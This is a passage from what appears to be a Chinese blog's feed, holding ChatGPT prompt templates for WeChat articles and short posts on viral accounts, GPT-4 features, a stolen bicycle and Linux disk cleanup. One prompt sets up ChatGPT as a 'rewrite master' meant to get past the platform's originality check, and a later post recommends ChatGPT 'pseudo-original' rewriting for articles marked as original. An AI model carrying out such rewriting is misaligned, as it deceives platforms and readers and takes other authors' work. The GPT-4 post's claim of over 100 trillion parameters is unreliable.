&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;你是一位才华横溢创作真实故事的作家，现在有一个任务需要你的帮助。我们需要XXXXXXXXX为主题，创作一篇富有情感深度和人性探索的故事。故事以第一人称写，故事开头要介绍主角的家庭背景和个人简介，要给角色取名，故事需要使读者感同身受，引发他们对自己生活中类似问题的思考。揭示出故事的主题和内涵，让读者产生共鸣。在故事结束时，你应进行反思和总结，让读者从故事中得到启示和反思。字数控制在1300字以内，以保持故事的紧凑性和引人入胜的节奏
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;背景：我是一位公众号创作者，我需要总结故事的构思大纲，以便更好地展开故事情节。

角色：希望你扮演一个擅长故事构思和概述的写作导师，能够提供清晰的指导和建议。

任务：我将发送一篇文章或者文章主题给你，请你参考我提供的文章，帮我总结或者设计一个构思大纲。

要求：详细描述故事的构思大纲，包括基本情节、人物、场景、冲突背景、预期结局和内容结构（故事开头{200字}、故事发展{500字}、故事顶峰（300字）、故事结尾（200字））等要素。请尽量提供具体和有逻辑性的描述，以便我更好地展开写作。

你理解任务后只需要回复明白，等待我给你发送文章。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;角色

 &lt;span class="k"&gt;*&lt;/span&gt; 名称：公众号文章重写大师
 &lt;span class="k"&gt;*&lt;/span&gt; 简介：你是一个专业的重写大师。你的任务是在保持文章中心思想不变的前提下，对原文进行高质量的重写。你所写的内容不仅要比原文更出色，而且要确保AI检查的重复率低于30%
 &lt;span class="k"&gt;*&lt;/span&gt; 背景：公众号对原创文章有查重检查，为了绕过原创检查，需要你对文章进行二次创作
技能
 &lt;span class="k"&gt;*&lt;/span&gt; 精确把握原文的中心思想和主旨，创造性地对原文进行重写，确保内容质量高于原文。
 &lt;span class="k"&gt;*&lt;/span&gt; 使用丰富的词汇和句式，确保AI检查的重复率低于30%。
 &lt;span class="k"&gt;*&lt;/span&gt; 根据不同的写作风格和要求，进行灵活的仿写。
 &lt;span class="k"&gt;*&lt;/span&gt; 对原文进行深入的分析，找出其潜在的缺陷和不足。
 &lt;span class="k"&gt;*&lt;/span&gt; 在仿写过程中，对原文的缺陷进行改进和完善。
 &lt;span class="k"&gt;*&lt;/span&gt; 根据用户的反馈，对仿写内容进行迅速的修改和调整。
 &lt;span class="k"&gt;*&lt;/span&gt; 为用户提供关于写作技巧和方法的建议。

创作流程

1.首先，风格和语气：询问用户想要什么语气风格，根据用户的指示，调整文章的风格和语气，以满足目标受众的需求。
2.然后，理解原文：仔细阅读用户提供的原文，确保完全理解其中心思想。
3.然后，生成新文章：根据原文的中心思想、关键信息和用户想要的语气风格，以全新的方式重新构建文章。在这个过程中，你会使用不同的句子结构、同义词、近义词和不同的表达方式，以确保文章与原文有所不同，确保内容质量高于原文且重复率低于30%。确保新文章字数跟原文保持一致，并且提醒用户输入“继续执工作
流程
4.语法和逻辑检查”
4.然后，语法和逻辑检查：将对生成的新文章进行语法和逻辑检查，以确保文章通顺、清晰，没有错误。并且提醒用户输入“继续执行下一个工作流程5.重复率控制”
5.然后，重复率控制：为了确保不超过
30%的重复率，你将使用特定的算法来检查新文章与原文之间的相似性。如果发现重复率高于30%，你将继续修改文章，直
到符合您的要求。并且提醒用户输入“继续
执行下一个工作流程”
6.然后，最终审查：你将对整篇文章进行最终审查，确保它满足用户的要求，中心思想没有改变，符合用户想要的语气风格，并且重复率低于30%。如果用户不满意，你会再次执行&amp;lt;workflow3&amp;gt;到
&amp;lt;workflow6&amp;gt;。完成之后要告诉用户任务完
成了。
7.最后，继续仿写：继续执行&amp;lt;workflow1&amp;gt;
到&amp;lt;workflow7&amp;gt;
&lt;span class="gu"&gt;##&lt;/span&gt; Initialization
作为一个&amp;lt;重写大师&amp;gt;，您必须遵循
&amp;lt;Rules&amp;gt;，您必须用默认的&amp;lt;Language&amp;gt;与用户交谈，您必须向用户问好。然后介绍自己并介绍&amp;lt;Workflow&amp;gt;。最后，一步步
的执行&amp;lt;workflow&amp;gt;，不能跳过任何一个
&amp;lt;workflow&amp;gt;。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Python技术文章指令&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;角色：你是一位专注于为初学者或对Python知识了解甚少的读者编写详细的Python技术文章作者

背景：公众号平台有大量的技术小白想学习python，他们从通过公众号平台学习Python技术

任务：我将发送一个标题或者技术概念给你，请你根据这个标题写出一篇1500字技术文章。

要求：
1. 你的文章应聚焦于以易于新手理解的方式详细介绍技术概念和技巧。
2. 每篇文章需要全面，至少包含1500字，并且提供不少于3个代码示例来帮助读者加深理解
3. 写作风格应简明易懂，尽量避免使用技术术语。
4. 你的回应，包括文章写作、对话和其他沟通，都将使用中文。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;职场人情世故&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;角色：你是一个资深的爆款职场故事作家，擅长写职场的人情世故。

背景：公众号平台有大量职场用户，他们从通过公众号平台学习职场中的人情世故，提高自己在职场的为人处事能力

任务：我将发送一个标题或者文章大纲给你，请你根据这个标题写出一篇1200字的文章。

要求：
1. 采用了第一人称叙述，结合了个人经历和观察，使内容更加真实和可信
2. 论点部分，以职场中的真实经历故事来描述，故事必须 以现实生活为背景，展现日常生活中可能遇到的问题和冲突。使文章的论点更加具体、生动和有说服力
3. 语言风格采用平实、亲切且具有口语化特征
4. 文章段落必须使用短句，简洁明了，不要使用复杂词汇或长句，易于理解
5. 你的回应，包括文章写作、对话和其他沟通，都将使用中文。
6. 文章段落开头不要使用“首先”，“其次”，“最后”等连接词

你理解任务后只需要回复明白，等待我给你发送标题或大纲。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;爆款标题分析工具&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;角色：你是一个文章标题分析助理，擅长从人性角度去理解文本内容
背景：我正在研究大量爆款标题，需要了解爆款标题背后的底层原因
任务：我会给你发送一个标题，请从多角度分析拆解标题有吸引力的原因
要求：如果你明白了，请说明白
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="AI写作变现"/><category term="自媒体"/></entry><entry><title>公众号低粉爆款案例（二）：职场、体制领域多个10w+</title><link href="https://foofish.net/gongzhonghao-case-2.html" rel="alternate"/><published>2023-10-21T10:00:01+08:00</published><updated>2023-10-21T10:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-10-21:/gongzhonghao-case-2.html</id><summary type="html">&lt;p&gt;上一篇分析过关于热点事件产生的多个爆款文章，今天分析另一个领域的低粉爆款---职场、体制内话题，这个领域已经有多 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;上一篇分析过关于热点事件产生的多个爆款文章，今天分析另一个领域的低粉爆款---职场、体制内话题，这个领域已经有多个账号拿到微信的推荐流量。&lt;/p&gt;
&lt;p&gt;这个号的起号事件是9月27日，连头像还没来及设置（默认头像）&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FrPZHyAu5YeF6HAHWssM03QXhsws.png"&gt;&lt;/p&gt;
&lt;p&gt;短短不到20天时间就拿到10w+阅读量，还有多篇一万以上阅读的文章&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FnXJmIxezgdcBr5wdt8u6_QfKl1s.png"&gt;&lt;/p&gt;
&lt;p&gt;文章主要以职场、体制内相关的话题为主，从标题来看，作为一个普通用户，不管你是不是体制内从业者，或多或少都有想点击的欲望。&lt;/p&gt;
&lt;p&gt;另外一点是这些文章都是有标记为原创，从经验来看，毫无疑问平台鼓励原创打击抄袭。细心的你可以去看看这个号的文章内容，其实排版很一般，内容在网上随便搜都能搜到很多类似的文章。如果你要写原创，很简单就是借助ChatGPT，让ChatGPT帮你进行伪原创，你只要把大纲写好，让他来帮你填充内容，一篇10w+的文章半小时就能搞定。&lt;/p&gt;
&lt;p&gt;职场号拿到10w+的低粉账号远不止一个号，比如下面这几个平台给的流量非常猛&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FkQpd7PhO5YRGT4rkjgFdPpbd9j9-1697854466254-47.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FrW64YAfZIemsyOonwftsYSnRWdc-1697854462901-45.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FkQ0SEit5KYIcO1ue8s_DFauLPlZ.png"&gt;&lt;/p&gt;
&lt;p&gt;更多低粉爆款文章看访问次幂数据网站查看  https://www.cimidata.com/articles/hot/10w&lt;/p&gt;</content><category term="思考"/><category term="公众号"/></entry><entry><title>被偷的自行车</title><link href="https://foofish.net/the-lost-bicycle.html" rel="alternate"/><published>2023-10-19T10:00:01+08:00</published><updated>2023-10-19T10:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-10-19:/the-lost-bicycle.html</id><summary type="html">&lt;p&gt;今年回十八线开启自由职业后，会经常带娃去当地一个大学里打篮球。故事还要回到十一假期说起，那天和往常一样骑自 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;今年回十八线开启自由职业后，会经常带娃去当地一个大学里打篮球。故事还要回到十一假期说起，那天和往常一样骑自行车去的篮球场。&lt;/p&gt;
&lt;p&gt;自行车是口罩时期买的&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/641.png"&gt;&lt;/p&gt;
&lt;p&gt;因为是户外，自行车直接放在场边没落锁，我在隔壁场玩，直线距离不到5米，全程没留意自行车，根本没想过会有人在你眼皮底下把自行车骑走，准备回家才发现自行车不翼而飞，一度怀疑自己是不是没有骑自行车。&lt;/p&gt;
&lt;p&gt;随后立即报警，警察不到十分钟到现场询问了基本情况，带我去了学校监控室，关键时候监控一般都是坏的，这个理论大部分时候都适用。监控室大叔折腾半天没发现任何线索，警察因为另外一起案例临时离开。最后我跟大叔说我来帮你找，然后我盯着学校的两个出口，从监控中发现了小偷骑着我的自行车大摇大摆从西门扬长而去，监控清晰拍到了小偷的正脸。&lt;/p&gt;
&lt;p&gt;这里就不放视频了。&lt;/p&gt;
&lt;p&gt;后来去派出所做了笔录。然后就是漫长等待，因为正逢假期，警察告知一些些侦察工作需要等工作日后才能开展，我这边就隔三岔五催民警进度，与此同时，我每天也在附近找这个人。&lt;/p&gt;
&lt;p&gt;之所以有信念找回是因为有监控。&lt;/p&gt;
&lt;p&gt;皇天不负有心人，离丢自行车第10天在学校路上偶遇一个与监控中极为相似的嫌疑人，于是果断进行跟踪，一边与警察联系，可笑的是，电话那边说，我的自行车已经帮我找到，嫌疑人也已锁定，先不要打草惊蛇，于是我放弃了跟踪。&lt;/p&gt;
&lt;p&gt;和民警约好三天后去领自行车，离奇的是自行车在学校保卫处，我顺便问了下人抓到没有，搞笑的一幕出现。到了现场，并没有看到小偷，然后学校保卫处处长过来跟我解释，大意是这是一个误会，骑走自行车的是学校一位退休老师，误以为自行车是学生的，临时骑一下，当晚就送到了保卫处。当然，大概率是借口，不管是不是误会，法理上拿人东西未经允许不是偷就是抢。&lt;/p&gt;
&lt;p&gt;最后在派出所见到了小偷，在讯问室当面给我道歉，保卫处处长也出面跟着道歉，警察在中间协调是否需要补偿之类的，那警察最后怎么处理这个案件呢？&lt;/p&gt;
&lt;p&gt;你们懂的，小地方但凡有点关系，一般的问题都是可以圆滑处理的。 只要我不再追究，这个事情就很容易操作。&lt;/p&gt;</content><category term="思考"/><category term="生活"/></entry><entry><title>ChatGPT Plus GPT4 功能汇总</title><link href="https://foofish.net/chatgpt4-features-summary.html" rel="alternate"/><published>2023-10-18T13:00:01+08:00</published><updated>2023-10-18T13:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-10-18:/chatgpt4-features-summary.html</id><summary type="html">&lt;p&gt;&lt;img alt="img" src="../../images/v2-3eeaaa8ea0ed33b90280d075c2792fb6_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;目前GPT4（ChatGPT Plus）账号支持的功能包括&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;GPTs&lt;/li&gt;
&lt;li&gt;GPT4&lt;/li&gt;
&lt;li&gt;海量插件&lt;/li&gt;
&lt;li&gt;实时联网&lt;/li&gt;
&lt;li&gt;语音对话&lt;/li&gt;
&lt;li&gt;图片识别&lt;/li&gt;
&lt;li&gt;文件上传&lt;/li&gt;
&lt;li&gt;数据分析能力&lt;/li&gt;
&lt;li&gt;绘图功能&lt;/li&gt;
&lt;li&gt;代码解析 …&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="img" src="../../images/v2-3eeaaa8ea0ed33b90280d075c2792fb6_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;目前GPT4（ChatGPT Plus）账号支持的功能包括&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;GPTs&lt;/li&gt;
&lt;li&gt;GPT4&lt;/li&gt;
&lt;li&gt;海量插件&lt;/li&gt;
&lt;li&gt;实时联网&lt;/li&gt;
&lt;li&gt;语音对话&lt;/li&gt;
&lt;li&gt;图片识别&lt;/li&gt;
&lt;li&gt;文件上传&lt;/li&gt;
&lt;li&gt;数据分析能力&lt;/li&gt;
&lt;li&gt;绘图功能&lt;/li&gt;
&lt;li&gt;代码解析功能&lt;/li&gt;
&lt;li&gt;自定义指令&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;以前只能在PPT上面能看到的效果现在都落地了，现在你只要有个Plus账号就能体验以上全部功能。&lt;/p&gt;
&lt;h3&gt;GPTs&lt;/h3&gt;
&lt;p&gt;简单来说，GPTs 类似于苹果应用商店的App，用户可以通过ChatGPT提供的能力创建属于自己的GPT，用来某些特定的应用场景， 例如我就有个需求，每天写公众号需要一张封面图，每天需要浪费大量时间去找合适的图片，如果有一个程序能直接帮我生成就好，自己实现至少得几百上千行代码。这时候完全可以用ChatGPT帮我实现。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231112004013539" src="images/image-20231112004013539.png"&gt;&lt;/p&gt;
&lt;h3&gt;GPT4 VS GPT3.5&lt;/h3&gt;
&lt;p&gt;GPT4对比GPT3.5，参数规模是是指数级提升，GPT4超过100万亿个参数，而GPT3.5只有不到1750亿个参数。意味着GPT4能处理的数据更多，更连贯、精准。&lt;/p&gt;
&lt;p&gt;GPT3.5单词请求支持的最大token是16k，而GPT4最大支持32k，GPT4能处理的信息量更大。&lt;/p&gt;
&lt;p&gt;GPT4是一个多模态（multimodal）模型，既可以支持图像和文本作为输入，并输出文本；而GPT3.5只能接受文本作为输入，并输出文本。这使得GPT4可以处理更复杂且具有视觉信息的任务，如图像描述、图像问答、图像到文本等。&lt;/p&gt;
&lt;h3&gt;GPT4 插件&lt;/h3&gt;
&lt;p&gt;GPT4 支持插件功能，OpenAI开发插件能力，任何人都可以开发插件，上架插件，模型和苹果的AppStore类似，极大的丰富了ChatGPT的个性化能力。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-b7b333e3116caaf6b92711e1c650007c_1440w.jpg"&gt;&lt;/p&gt;
&lt;h3&gt;实时联网&lt;/h3&gt;
&lt;p&gt;GPT3.5训练的数据停留在2021年，而GPT4提供了实时联网功能，对于需要实时获取的信息，ChatGPT会自动链接互联网采集相关信息并整理成回答返回给用户。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-845f4f8c187afc359ee8137ef585038c_1440w.jpg"&gt;&lt;/p&gt;
&lt;h3&gt;语音对话&lt;/h3&gt;
&lt;p&gt;语音对话是GPT4用户在移动端特有功能，之前虽然支持语音输入，但本质上还是文本对话，你录入的声音会先转换成文本，然后发送给ChatGPT，ChatGPT再通过文字形式将答案发送给你，现在无需这样操作，就跟对方语音通话一样，不需要一直盯着屏幕。&lt;/p&gt;
&lt;p&gt;我能想到的一种最佳应用场景就是用来练习英语口语和听力，刚好最近我在提升这两块知识，所以对我来说，有了这个功能非常实用，之前在Web端，我们还需要通过安装第三方插件的方式来试先音频的转换。现在直接支持了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-6e1157e6695c5e2c63332b692f331308_1440w.jpg"&gt;&lt;/p&gt;
&lt;h3&gt;图片识别&lt;/h3&gt;
&lt;p&gt;传说中ChatGPT可以直接将UI原型图转换为网站的源代码，现在ChatGPT真的可以帮你实现了。例如随便画一个网站的表单草图&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-6f8f04f8e7f4d4f3a363288a714280e4_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;生成的代码&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-7074192b54365b506bfc868c3621e917_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;效果图&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-18481f4d21f5e0f88a50fe3928e291a7_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;还原度还是比较高的，但是没有样式，没事，可以继续优化，直接向ChatGPT提需求即可。原本你要花几千雇佣亿个前端工程师才能完成的任务ChatGPT帮你搞定。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/v2-df27232b4c530c04c906973af5805c6f_1440w.jpg"&gt;&lt;/p&gt;
&lt;h3&gt;画图功能&lt;/h3&gt;
&lt;p&gt;在GPT4模式下，选择DALL.E3模型即可开启绘画功能。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-e2d7d2a314ea0947da2c492eebc02d22_1440w.jpg"&gt;&lt;/p&gt;
&lt;h3&gt;自定义指令&lt;/h3&gt;
&lt;p&gt;“Cumstom Instructions”，中文叫”自定义指令“，这个功能的一个用途是在与ChatGPT交互时帮助用户预先设置一些背景信息方便ChatGPT更好地理解用户的意图，减少用户每次对话前重复介绍背景信息，另外还可以对ChatGPT的输出内容做预设要求。&lt;/p&gt;
&lt;p&gt;点开首页左下角-Setttings&amp;amp;Beta-&amp;gt;Beta Features-&amp;gt; Custom instructions&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-d2a273d9e270a64cfa35e15de2cbe8da_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;开启后，点开左下角弹出的菜单，多了一个菜单项 Custom Instruction&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-7b4567103c3636639d7ed37d50d13a5c_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;进入后设置&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-fa93889728dba10034b363c5d876c4e8_1440w.jpg"&gt;&lt;/p&gt;
&lt;h3&gt;数据分析&lt;/h3&gt;
&lt;p&gt;首先上传一个数据文件，剩下的全部交给ChatGPT处理。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-af4b584a48ea0238530b94aabce599e9_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-c35374899be8f8a00c5cefac6d060606_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-d8f279cd215e1fec97c977742588d772_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;如果你要用到以上这些功能，那买个GPT4是一件值得投资的事情，况且价格还能接受。只不过购买GPT4需要海外信用卡才能支付。这里推荐用&lt;a href="https://bewildcard.com/i/ZHIJUN"&gt;WildCard&lt;/a&gt;，门槛极低，轻松搞定订阅问题。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/v2-46942549e5e6d665a1c01d49a5272888_1440w.jpg"&gt;&lt;/p&gt;
&lt;p&gt;使用我的邀请码注册还能享受88折开卡优惠，我的邀请码是“ZHIJUN”，传送门：&lt;a href="https://bewildcard.com/i/ZHIJUN"&gt;WildCard&lt;/a&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>ChatGPT新特性：支持语音、图像，终于可以用它来练口语了！</title><link href="https://foofish.net/chatgpt-new-features-for-voices.html" rel="alternate"/><published>2023-09-27T14:00:01+08:00</published><updated>2023-09-27T14:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-09-27:/chatgpt-new-features-for-voices.html</id><summary type="html">&lt;p&gt;ChatGPT 这两天发布了一个激动人心的新功能，App端（包括iOS和Android）开始支持语音对话以及图片识别功能。&lt;/p&gt;
&lt;p&gt;这两个功能一如既往的优先开 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;ChatGPT 这两天发布了一个激动人心的新功能，App端（包括iOS和Android）开始支持语音对话以及图片识别功能。&lt;/p&gt;
&lt;p&gt;这两个功能一如既往的优先开放给Plus用户使用，现在将App更新到最新版本，就能体验。&lt;/p&gt;
&lt;p&gt;为什么说激动人心？之前虽然支持语音输入，但本质上还是文本对话，你录入的声音会先转换成文本，然后发送给ChatGPT，ChatGPT再通过文字形式将答案发送给你，现在无需这样操作，就跟对方语音通话一样，不需要一直盯着屏幕。&lt;/p&gt;
&lt;p&gt;我能想到的一种最佳应用场景就是用来练习英语口语和听力，刚好最近我在提升这两块的知识能力，所以对我来说，有这个功能非常实用，之前在Web端，我们还需要通过安装第三方插件的方式来试先音频的转换。现在直接支持了。&lt;/p&gt;
&lt;p&gt;3步开启语音功能&lt;/p&gt;
&lt;p&gt;&lt;img alt="chatgpt-voice.png" src="../../images/chatgpt-voice.png"&gt;&lt;/p&gt;
&lt;p&gt;最后来体验一下效果怎么样  &lt;a href="https://v.douyin.com/iev1oWHS"&gt;https://v.douyin.com/iev1oWHS/&lt;/a&gt;   (声音有点小，将音量调大点)&lt;/p&gt;
&lt;p&gt;官方提到的图片功能，我在这个版本并没有找到入口，可能还是内测中或者是分批开放给用户。图片场景的应用就更多了，例如你在家里，往冰箱里拍一张图片问问ChatGPT今晚做啥好吃的、怎么做。也可以用来辅导小孩写作业，遇到不会的题目直接拍照问ChatGPT。不过这些功能现在没法体验，真实效果怎样还有待验证。&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>Linux 磁盘空间不够用，这几个命令帮你提升磁盘空间</title><link href="https://foofish.net/linux-disk-capacity.html" rel="alternate"/><published>2023-08-03T09:00:01+08:00</published><updated>2023-08-03T09:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-08-03:/linux-disk-capacity.html</id><summary type="html">&lt;p&gt;首先使用 &lt;code&gt;df&lt;/code&gt; 命令查看磁盘剩余空间有多少&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;df -h
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20230803083805153" src="images/image-20230803083805153.png"&gt;&lt;/p&gt;
&lt;p&gt;比如我这个挂载在根目录的分区已经占用了78%的空间，进入根目录后，使 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;首先使用 &lt;code&gt;df&lt;/code&gt; 命令查看磁盘剩余空间有多少&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;df -h
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20230803083805153" src="images/image-20230803083805153.png"&gt;&lt;/p&gt;
&lt;p&gt;比如我这个挂载在根目录的分区已经占用了78%的空间，进入根目录后，使用 &lt;code&gt;du&lt;/code&gt; 命令找出大文件&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cd /
# 查看大于1G的文件并排序
du -h --max-depth=1 |grep &amp;#39;G&amp;#39; |sort
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;通过迭代执行以上操作，找到占用空间最大的文件，比如使用命令找出来有两个文件占用大量空间，一个是 nginx的 access.log 日志文件，另一个是mysql 的 slow.log 日志文件， 占用了将近100个G。&lt;/p&gt;
&lt;p&gt;我们直接使用下面的命令将该文件内容置空即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; access.log
&amp;gt; slow.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;最后再来看磁盘空间&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230803113818325" src="images/image-20230803113818325.png"&gt;&lt;/p&gt;
&lt;p&gt;一下多出了几十个G&lt;/p&gt;</content><category term="思考"/><category term="linux"/></entry><entry><title>ChatGPT 安卓包下载</title><link href="https://foofish.net/chatgpt-android.html" rel="alternate"/><published>2023-07-26T09:00:01+08:00</published><updated>2023-07-26T09:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-07-26:/chatgpt-android.html</id><summary type="html">&lt;p&gt;ChatGPT Android 版即将上线，现在可以在 Google play 商店进行预注册，一旦正式上线可选择自动安装应用。国内应用市场因为政策问题不太 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;ChatGPT Android 版即将上线，现在可以在 Google play 商店进行预注册，一旦正式上线可选择自动安装应用。国内应用市场因为政策问题不太可能提供下载，所以你的手机前提条件是必须安装了 Google Play 商店才能下载  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230726150546191" src="images/image-20230726150546191.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Google  Play 应用商店下载版：&lt;a href="https://play.google.com/store/apps/details?id=com.openai.chatgpt&amp;amp;hl=en_US"&gt;https://play.google.com/store/apps/details?id=com.openai.chatgpt&amp;amp;hl=en_US&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;离线安装包下载：链接: https://pan.baidu.com/s/1FyM-JwrOv0_zq6UNnU4lqQ?pwd=tmfz 提取码: tmfz &lt;/li&gt;
&lt;/ul&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>ChatGPT 新功能“自定义指令” Custom Instructions 怎么使用？</title><link href="https://foofish.net/chatgpt-custom-instraction.html" rel="alternate"/><published>2023-07-22T09:00:01+08:00</published><updated>2023-07-22T09:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-07-22:/chatgpt-custom-instraction.html</id><summary type="html">&lt;p&gt;ChatGPT 又推出了一个新功能叫“Cumstom Instructions”，中文叫”自定义指令“，这个功能的一个用途是在与ChatGPT交互时帮助用户预先设置一些背景信息方便ChatGPT更好地理解用户的意图，减少用户每次对话前重复介绍背景信 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;ChatGPT 又推出了一个新功能叫“Cumstom Instructions”，中文叫”自定义指令“，这个功能的一个用途是在与ChatGPT交互时帮助用户预先设置一些背景信息方便ChatGPT更好地理解用户的意图，减少用户每次对话前重复介绍背景信息，另外还可以对ChatGPT的输出内容做预设要求。&lt;/p&gt;
&lt;p&gt;不过这个功能目前仅对Plus用户开放&lt;/p&gt;
&lt;p&gt;开启方法：&lt;/p&gt;
&lt;p&gt;点开首页左下角-Setttings&amp;amp;Beta-&amp;gt;Beta Features-&amp;gt; Custom instructions&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FgQM8n1rvaiJ3zdibqIpbotEePEd"&gt;&lt;/p&gt;
&lt;p&gt;开启后，点开左下角弹出的菜单，多了一个菜单项 Custom Instruction&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FpkcsAExCDJ6pWmresUnWBh_PRs-"&gt;&lt;/p&gt;
&lt;p&gt;进入后设置&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/Fr1pVjtO4yV1KLoBNG5USYV9JaqM"&gt;&lt;/p&gt;
&lt;p&gt;这里我告诉ChatGPT，我是Java初学者，我希望通过ChatGPT辅助学习编程，然后希望它每次给我的回答是中文。&lt;/p&gt;
&lt;p&gt;现在我们就来测试以下&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/Fp7ySQC4jeXAmzCH7GuQ9Nd7RH3l"&gt;&lt;/p&gt;
&lt;p&gt;我用英语问了一个面向对象中关于“重载和重写的概念“的问题，这时候它会基于Java语言来作答，并且回答的内容是中文，而且他会给我举例子说明，完全符和我在自定义指令中预设的要求。&lt;/p&gt;
&lt;p&gt;这样我们在写prompt时，只需要把最关键的指令信息写上就行。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="images/image-20230330011719223-1689989949522-67.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>申请创业补贴</title><link href="https://foofish.net/apply-start-ups-allowance.html" rel="alternate"/><published>2023-07-14T11:00:01+08:00</published><updated>2023-07-14T11:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-07-14:/apply-start-ups-allowance.html</id><summary type="html">&lt;p&gt;如果你正准备或者已经自己创业开公司，可以关注下当地人社局的一些福利政策，特别是一二线城市都有相应的补贴补 …&lt;/p&gt;</summary><content 